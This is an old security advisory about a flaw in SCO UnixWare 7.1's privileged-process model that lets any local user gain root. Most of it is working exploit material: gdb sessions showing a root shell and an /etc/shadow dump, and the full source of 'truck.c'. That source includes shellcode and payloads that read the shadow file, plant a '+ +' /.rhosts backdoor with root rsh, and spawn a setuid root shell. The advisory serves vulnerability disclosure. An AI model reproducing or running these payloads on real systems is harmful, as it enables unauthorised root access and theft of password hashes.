COMMAND
kernel
SYSTEMS AFFECTED
UnixWare 7.x
PROBLEM
Brock Tellier found following. This flaw in SCO UnixWare's
security model will allow any user to gain root, read system
files, etc. Please read following advisory at
http://oliver.efri.hr/~crv/security/bugs/SCO/uidadmin.html
for more information about UnixWare's privileged process system.
The techniques discussed herein have only been tested on SCO
UnixWare 7.1. While earlier versions of UW are probably affected,
SCO OpenServer does not use this particular security model and are
therefore not affected. As Aleph One put it, in his response to
Vuln-Dev post:
...
SCO has implemented privileges in UnixWare without thinking of
possible interaction with other subsystems. They should have
placed the same restriction on application running with
privileges as those placed on applications running suid or
sgid. I am surprised no one before noticed this. Its a hole
you could drive a truck through. The engineers that coded
the privilege system (a security subsystem!) should get a good
ass chewing or get fired. ...
Indeed this is true. This security subsystem *itself*, not the
programs encompassed by it, has cause more compromises than all
the problems Brock found in the suid/sgids. Consider that a
privileged program which is simply
void main() {
printf("sekure\n");
}
can be compromised just as readily one which is 10000 lines of
spaghetti code. The specific problem lies in the fact that any
user who runs one of these privileged processes (that are not
suid/sgid, but are in /etc/security/tcb/privs) has full control
over the process. By using a debugger, we can stop the program,
insert registers and control program flow. Any program in the
privs file which is not also suid/sgid is vulnerable to this
exploit, regardless of whatever overflows and symlink
vulnerabilities may or may not exist.
The exploit goes like this:
- Put nops+shellcode into your environment
- load a program which gains privs in /etc/security/tcb/privs
with gdb
- set a breakpoint at _init
- run, and when we hit that breakpoint change our eip to point
into our environment
- continue, continue, rootshell
Get GDB for UnixWare binaries from ftp.freebird.org
Dacread:
bash-2.02$ ./truck 1
UnixWare 7.1 security model exploit
Brock Tellier btellier@usa.net
$ ./gdb /usr/ucb/w
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (unixware2), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) break _init
Breakpoint 1 at 0x804ac34
(gdb) run
Starting program: /usr/ucb/w
Program received signal SIGTRAP, Trace/breakpoint trap.
[Switching to process 3257]
warning: shared library handler failed to enable breakpoint
Breakpoint 1, 0x804ac34 in _init ()
(gdb) disassemble
Dump of assembler code for function _init:
0x804ac34 <_init>: ret
End of assembler dump.
(gdb) info registers
eax 0x0 0
ecx 0x8 8
edx 0x804ac38 134523960
ebx 0x804644c 134505548
esp 0x804643c 134505532
ebp 0x8046440 134505536
esi 0x804bc3c 134528060
edi 0x8046454 134505556
eip 0x804ac34 134523956
eflags 0x100212 1049106
cs 0x17 23
ss 0x1f 31
ds 0x1f 31
es 0x1f 31
fs 0x0 0
gs 0x0 0
(gdb) set $eip = 0x8046b75
(gdb) continue
Continuing.
Program received signal SIGTRAP, Trace/breakpoint trap.
Cannot remove breakpoints because program is no longer writable.
It might be running in another process.
Further execution is probably impossible.
0xbff99a40 in errno ()
(gdb) continue
Continuing.
root:bahbapXFxhypF:10935::::::
daemon:NP:6445::::::
bin:NP:6445::::::
....
Program exited normally.
(gdb)
Dacwrite:
bash-2.02$ ./truck 2
UnixWare 7.1 security model exploit
Brock Tellier btellier@usa.net
$ ./gdb /usr/bin/getdev
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (unixware2), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) break _init
Breakpoint 1 at 0x830e740
(gdb) run
Starting program: /usr/bin/getdev
Program received signal SIGTRAP, Trace/breakpoint trap.
[Switching to process 3271]
warning: shared library handler failed to enable breakpoint
Breakpoint 1, 0x830e740 in _init ()
(gdb) disassembe
Undefined command: "disassembe". Try "help".
(gdb) disassemble
Dump of assembler code for function _init:
0x830e740 <_init>: ret
End of assembler dump.
(gdb) set $eip = 0x8046b75
(gdb) continue
Continuing.
Program received signal SIGTRAP, Trace/breakpoint trap.
Cannot remove breakpoints because program is no longer writable.
It might be running in another process.
Further execution is probably impossible.
0xbff99a40 in errno ()
(gdb) continue
Continuing.
# id
uid=0(root) gid=3(sys)
groups=0(root),1(other),2(bin),3(sys),4(adm),5(uucp),6(mail),7(tty),8(audit),10(nuucp),12(daemon),23(cron),25(dtadmin),47(priv),9(lp)
#
Setuid:
bash-2.02$ ./truck 3
UnixWare 7.1 security model exploit
Brock Tellier btellier@usa.net
$ ./gdb /usr/ucb/lpr
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (unixware2), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) break _init
Breakpoint 1 at 0x805036c
(gdb) run
Starting program: /usr/ucb/lpr
Program received signal SIGTRAP, Trace/breakpoint trap.
[Switching to process 3302]
warning: shared library handler failed to enable breakpoint
Breakpoint 1, 0x805036c in _init ()
(gdb) disassemble
Dump of assembler code for function _init:
0x805036c <_init>: ret
End of assembler dump.
(gdb) set $eip = 0x8046b75
(gdb) continue
Continuing.
Program received signal SIGTRAP, Trace/breakpoint trap.
Cannot remove breakpoints because program is no longer writable.
It might be running in another process.
Further execution is probably impossible.
0xbff99a40 in errno ()
(gdb) continue
Continuing.
# id
uid=0(root) gid=1(other)
groups=0(root),1(other),2(bin),3(sys),4(adm),5(uucp),6(mail),7(tty),8(audit),10(nuucp),12(daemon),23(cron),25(dtadmin),47(priv),9(lp)
#
truck.c:
/**
** "Its a hole you could drive a truck through."
** -Aleph One
**
** truck.c UnixWare 7.1 security model exploit
** Demonstrates how we own privileged processes
**
** Usage: cc -o truck truck.c
** ./truck <filetype> where filetype is 1, 2 or 3
** (for dacread, dacwrite and setuid, respectively)
**
** This will put $XNEC in the environment and run a shell.
** From there you must use gdb/debug to load a file of the
** type you chose (by checking /etc/security/tcb/privs)
** and setting a breakpoint at _init via "break _init".
** When you "run" and break at _init, change your EIP
** to something between 0x8046000 and 0x8048000 with
** "set $eip = 0x8046b75" and "continue" twice.
**
**
** Brock Tellier btellier@usa.net
**/
#include <stdlib.h>
#include <stdio.h>
char scoshell[]= /* This isn't a buffer overflow! really! */
"\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
"\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
"\xff\xff/tmp/sm\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";
#define LEN 3500
#define NOP 0x90
#define DACWRITE "void main() { system(\"echo + + > /.rhosts; chmod 700 \
/.rhosts; chown root:sys /.rhosts; rsh -l root localhost sh -i \
\"); }\n"
#define DACREAD "void main() { system(\"cat /etc/shadow\");}\n"
#define SETUID "void main() { setreuid(0,0);system(\"/bin/sh\"); }\n"
void usage(int ftype) {
fprintf(stderr, "Error: Usage: truck [filetype]\n");
fprintf(stderr, "Where filetype is one of the following: \n");
fprintf(stderr, "1 dacread\n2 dacwrite\n3 setuid\n");
fprintf(stderr, "Note: if file has allprivs, use setuid\n");
}
void buildsm(int ftype) {
FILE *fp;
char cc[100];
fp = fopen("/tmp/sm.c", "w");
if (ftype == 1) fprintf(fp, DACREAD);
else if(ftype == 2) fprintf(fp, DACWRITE);
else if(ftype == 3) fprintf(fp, SETUID);
fclose(fp);
snprintf(cc, sizeof(cc), "cc -o /tmp/sm /tmp/sm.c");
system(cc);
}
int main(int argc, char *argv[]) {
int i;
int buflen = LEN;
char buf[LEN];
int filetype = 0;
char filebuf[20];
if(argc > 2 || argc == 1) {
usage(filetype);
exit(0);
}
if ( argc > 1 ) filetype=atoi(argv[1]);
if ( filetype > 3 || filetype < 1 ) { usage(filetype); exit(-1); }
buildsm(filetype);
fprintf(stderr, "\nUnixWare 7.1 security model exploit\n");
fprintf(stderr, "Brock Tellier btellier@usa.net\n\n");
memset(buf,NOP,buflen);
memcpy(buf+(buflen - strlen(scoshell) - 1),scoshell,strlen(scoshell));
memcpy(buf, "XNEC=", 5);
putenv(buf);
buf[buflen - 1] = 0;
system("/bin/sh");
exit(0);
}
SOLUTION
The fix is out.